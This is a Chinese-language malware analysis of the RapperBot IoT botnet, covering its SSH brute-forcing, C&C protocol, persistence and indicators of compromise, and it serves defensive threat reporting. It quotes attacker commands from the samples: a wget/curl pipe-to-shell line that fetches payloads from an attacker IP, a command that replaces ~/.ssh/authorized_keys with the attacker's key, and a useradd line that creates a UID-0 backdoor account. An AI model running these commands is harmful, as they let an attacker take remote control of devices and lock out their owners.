自 2022 年 6 月中旬以来,研究人员一直在跟踪一个快速发展的 IoT 僵尸网络 RapperBot。该僵尸网络大量借鉴了 Mirai 的源代码,新的样本增加了持久化的功能,保证即使在设备重新启动或者删除恶意软件后,攻击者仍然可以通过 SSH 继续访问失陷主机。
发现
2022 年 6 月,研究人员发现了带有 SSH 相关字符串的物联网恶意软件样本,这在其他物联网僵尸网络中并不多见。经过进一步分析,这个被称为 RapperBot 的僵尸网络能够针对 ARM、MIPS、SPARC 与 X86 架构发起攻击,具有有限 DDoS 功能的 SSH 暴力破解能力。
RapperBot 的命名由 CNCERT在 7 月初发布的分析报告中提出,因为在样本中发现了指向 YouTube 说唱类音乐视频的嵌入 URL 地址。本次分析的 RapperBot 恶意样本中,已经不再包含该 URL 地址。
RapperBot 的执行流程
SSH-2.0-HELLOWORLD
RapperBot 大量重用 Mirai 源代码,但功能与实现细节(如 C&C 协议等)与原始 Mirai 和基于 Mirai 的典型变种都有很大不同。
大多数 Mirai 变种使用默认密码或弱密码暴力破解 Telnet 服务,而 RapperBot 专门暴力破解接受密码身份验证的 SSH 服务器。恶意样本中带有一个 SSH 2.0 的客户端,使用该客户端可以连接并暴力破解任何支持 Diffie-Hellmann 密钥交换、使用 768 位或 2048 位密钥、使用 AES128-CTR 数据加密的 SSH 服务。
RapperBot 暴力破解的一个特点是在 SSH 协议交换阶段使用 SSH-2.0-HELLOWORLD
向目标 SSH 服务标识自己,SANS Internet Storm Center 在蜜罐的日志中也发现了该字符串标识。
早期的样本将暴力破解的凭据硬编码在文件中,从七月起转而从 C&C 服务器下载该列表。这样,攻击者就可以在云端不断更新凭据列表,无需下发新样本来感染设备。最新的样本中,下载的端口号为 4343 到 4345。
一旦 RapperBot 通过暴力破解成功入侵 SSH 服务,将会通过 48109 端口回传凭据给 C&C 服务器,没有更进一步的操作。但在六月下旬,研究人员发现攻击成功后也会开始下载恶意软件进行攻击与自我传播。在失陷 SSH 服务器上执行的命令如下所示:
sh
enable
shell
debug shell
cmd
wget http://2[.]58[.]149[.]116/w -O- | sh; curl http://2[.]58[.]149[.]116/c -O- | sh
不知道什么原因,这种传播功能在随后几天就被删除了,并且再也没有在样本中出现。攻击者可能是借鉴 Mirai,实现了单独的 Loader 在后续连接到受害者进行下载并执行客户端。
维持持久化
自从 7 月中旬以来,RapperBot 已经从自我传播转向维护对暴力破解的 SSH 服务的远程访问。执行命令将受害者的 ~/.ssh/authorized_keys
替换为攻击者的 SSH 公钥,如下所示:
cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsaAAAAB3NzaC1yc2EAAAADAQABAAACAQC/yU0iqklqw6etPlUon4mZzxslFWq8G8sRyluQMD3i8tpQWT2cX/mwGgSRCz7HMLyxt87olYIPemTIRBiyqk8SLD3ijQpfZwQ9vs Hc47hdTBfj89FeHJGGm1KpWg8lrXeMW+5jIXTFmEFhbJ18wc25Dcds4QCM0DvZGr/Pg4+kqJ0gLyqYmB2fdNzBcU05QhhWW6tSuYcXcyAz8Cp73JmN6TcPuVqHeFYDg05KweY qTqThFFHbdxdqqrWy6fNt8q/cgI30NBa5W2LyZ4b1v6324IEJuxImARIxTc96Igaf30LUza8kbZyc3bewY6IsFUN1PjQJcJi0ubVLyWyyJ554Tv8BBfPdY4jqCr4PzaJ2Rc1J FJYUSVVT4yX2p7L6iRpW212eZmqLMSoR5a2a/tO2s1giIlb+0EHtFWc2QH7yz/ZBjnun7opIoslLVvYJ9cxMoLeLr5Ig+zny+IEA3x090xtcL62X0jea6btVnYo7UN2BARziis Zze6oVuOTCBijuyvOM6ROZ6s/wl4CQAOSLDeFIP5L1paP9V1XLaYLDBAodNaUPFfTxggH3tZrnnU8Dge5/1JNa08F3WNUPM1S1x8L2HMatwc82x35jXyBSp3AMbdxMPhvyYI8v 2J1PqJH8OqGTVjdWe40mD2osRgLo1EOfP/SFBTD5VEo95K2ZLQ== helloworld">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~;
这样攻击者就可以在 SSH 凭据更改后,仍然保持访问权限。并且由于文件被替换,已有的授权访问全都被清除,也阻止了合法用户通过公钥认证的方式访问 SSH 服务器。七月中旬的样本文件将 helloworld 字符串替换为 system key generated by server 20220709
。
在最新的 RapperBot 样本中,样本文件通过写入 /etc/passwd
与 /etc/shadow/
增加用户 suhelper
,这样使攻击者能够更进一步控制失陷设备。另外,每个小时都定时执行增加用户账户,例如:
#!/bin/sh
useradd -u 0 -g 0 -o -d / suhelper -p '$1$1OJBlhUV$E9DMK0xdoZb8W8wVOibPQ/' >/dev/null 2>&1
字符串混淆
早期的样本带有明文字符串,后续改为使用栈字符串并且为字符串增加了额外的混淆,这都是为了阻碍分析工具与逆向工程。
样本中的字符串
样本实现了 Mirai 风格的异或加密层,将字符串都隐藏起来。尽管有很多 Mirai 僵尸网络与 Gafgyt 僵尸网络都倾向于在样本中保留标识自身的字符串,但 RapperBot 的开发人员似乎相当低调。
网络协议
RapperBot 通过不同端口的 TCP 请求与 C&C 服务器通信以接收命令、下载 SSH 凭据列表或者上传有效凭据。
每个请求都包含 Bot ID,这是硬编码在文件中的 32 字节值。一共在野发现了两个 ID:
d4 1c 74 44 70 95 28 ff f0 98 ae 4e 6f 92 ba d5 0f cd 56 29 c5 12 53 a1 fe 46 53 c7 0b b5 18 27
f6 b7 0b 00 14 77 35 f9 8d 6d 5d c4 bd 23 88 7e cf 5e 02 ce 54 5f e7 b1 e6 3f 2a 16 71 b6 eb 9a
通过这些 Bot ID 能够找到最早 2021 年 11 月以来的旧样本,但 SSH 暴力破解功能只在 2022 年 6 月中旬的样本出现。
RapperBot 向 C&C 服务器发送的上线包,包含执行的基本上下文信息。例如 ssh.wget.arm7 告知 C&C 服务器是通过 SSH 协议传播的、使用 wget 进行下载、并且是 ARM 架构。
随后的通信结构如下所示:
struct rapperbot_registration {
byte bot_id[32];
int command_code;
source [32];
};
RapperBot 支持的命令有:
0x00:注册(由客户端使用)
0x01:保持静默/什么都不做
0x02:停止所有 DoS 攻击并终止客户端
0x03:执行 DoS 攻击
0x04:停止所有 DoS 攻击
注册完成后,客户端发送另一个请求告知 C&C 服务器已经准备好接收命令。通常,C&C 服务器使用 keep-alive 命令响应请求:
RapperBot 客户端-服务器通信
除了 keep-alive 命令,在分析过程中没有观察到来自 C&C 服务器的任何其他命令。但 RapperBot 确实支持少量的 DoS 攻击,包括与 Mirai 的实现非常相似的普通 UDP 洪水与 TCP STOMP 洪水攻击。
攻击命令结构如下所示:
struct rapperbot_attack_command {
byte bot_id[32];
int command_code; // 0x03
byte vector; // type of DoS attack
ushort target_port;
int duration;
int target_ip;
};
神秘动机
在跟踪威胁的一个多月里,攻击者曾经完全删除了 DDoS 功能,是为了避免引起过多的关注还是正在进行开发?攻击者尝试了自我传播几天后再度删除,但仍然重视对攻击成功服务器的持久化访问,这是否说明攻击者更重视已感染设备而不是更在乎扩张僵尸网络的规模。
在暴力破解成功后,竟然没有投递任何载荷,完全不知道攻击者积累失陷主机为了做什么。在过去的一半个月中,使用 SSH-2.0-HELLOWORLD 客户端标识字符串扫描和暴力破解 SSH 服务的 3500 个 IP 地址,超过一半来自美国、中国台湾与韩国。
扫描统计
结论
RapperBot 尽管借鉴了 Mirai 的代码,但其设计与 Mirai 完全不同。该僵尸网络的持久化能力使得攻击者后续可能更灵活地进行各种恶意行为,但攻击者的意图仍然非常神秘。
IOC
92ae77e9dd22e7680123bb230ce43ef602998e6a1c6756d9e2ce5822a09b37b4
a31f4caa0be9e588056c92fd69c8ac970ebc7e85a68615b1d9407a954d4df45d
e8d06ac196c7852ff71c150b2081150be9996ff670550717127db8ab855175a8
23a415d0ec6d3131f1d537836d3c0449097e98167b18fbdbf2efca789748818a
c83f318339e9c4072010b625d876558d14eaa0028339db9edf12bbcafe6828bb
05c78eaf32af9647f178dff981e6e4e43b1579d95ccd4f1c2f1436dbfa0727ad
88bbb772b8731296822646735aacbfb53014fbb7f90227b44523d7577e0a7ce6
e8f1e8ec6b94ea54488d5f714e71e51d58dcdfe4be3827c55970d6f3b06edf73
23256f231f3d91b0136b44d649b924552607a29b43a195024dbe6cde5b4a28ad
77b2e5fb5b72493bde35a6b29a66e6250b6a5a0c9b9c5653957f64a12c793cd5
dcdeedee4736ec528d1a30a585ec4a1a4f3462d6d25b71f6c1a4fef7f641e7ae
ebb860512a55c1cdc8be1399eec44c4481aedb418f15dbda4612e6d38e9b9010
9d234e975e4df539a217d1c4386822be1f56cea35f7dd2aa606ae4995894da42
1975851c916587e057fa5862884cbac3fa1e80881ddd062392486f5390c86865
8380321c1bd250424a0a167e0f319511611f73b53736895a8d3a2ad58ffcd5d5
f5ff9d1261af176d7ff1ef91aa8c892c70b40caa02c17a25de22539e9d0cdd26
2298071b6ba7baa5393be064876efcdbd9217c212e0c764ba62a6f0ffc83cc5a
2479932a6690f070fa344e5222e3fbb6ad9c880294d5b822d7a3ec27f1b8b8d5
1d5e6624a2ce55616ef078a72f25c9d71a3dbc0175522c0d8e07233115824f96
746106403a98aea357b80f17910b641db9c4fedbb3968e75d836e8b1d5712a62
ddf5aff0485f395c7e6c3de868b15212129962b4b9c8040bef6679ad880e3f31
e56edaa1e06403757e6e2362383d41db4e4453aafda144bb36080a1f1b899a02
55ff25b090dc1b380d8ca152428ba28ec14e9ef13a48b3fd162e965244b0d39b
8e9f87bb25ff83e4ad970366bba47afb838028f7028ea3a7c73c4d08906ec102
d86d158778a90f6633b41a10e169b25e3cb1eb35b369a9168ec64b2d8b3cbeec
ff09cf7dfd1dc1466815d4df098065510eec504099ebb02b830309067031fe04
hxxp://31[.]44[.]185[.]235/x86
hxxp://31[.]44[.]185[.]235/mips
hxxp://31[.]44[.]185[.]235/arm7
hxxp://2[.]58[.]149[.]116/arm
hxxp://2[.]58[.]149[.]116/spc
hxxp://2[.]58[.]149[.]116/mips
hxxp://2[.]58[.]149[.]116/x86_64
hxxp://2[.]58[.]149[.]116/ssh/arm7
hxxp://2[.]58[.]149[.]116/ssh/mips
hxxp://2[.]58[.]149[.]116/ssh/x86
hxxp://2[.]58[.]149[.]116/ssh/spc
hxxp://194[.]31[.]98[.]244/ssh/new/spc
hxxp://194[.]31[.]98[.]244/ssh/new/x86
hxxp://194[.]31[.]98[.]244/ssh/new/mips
hxxp://194[.]31[.]98[.]244/ssh/new/arm7
hxxp://194[.]31[.]98[.]244/ssh/new/arm
hxxp://194[.]31[.]98[.]244/ssh/new/x86
hxxp://194[.]31[.]98[.]244/ssh/new/mips
hxxp://194[.]31[.]98[.]244/ssh/new/arm7
hxxp://194[.]31[.]98[.]244/ssh/new/arm
hxxp://185[.]225[.]73[.]196/ssh/new/arm
hxxp://185[.]225[.]73[.]196/ssh/new/arm7
hxxp://185[.]225[.]73[.]196/ssh/new/mips
hxxp//185[.]225[.]73[.]196/ssh/new/x86
31[.]44[.]185[.]235
2[.]58[.]149[.]116
194[.]31[.]98[.]244
185[.]225[.]73[.]196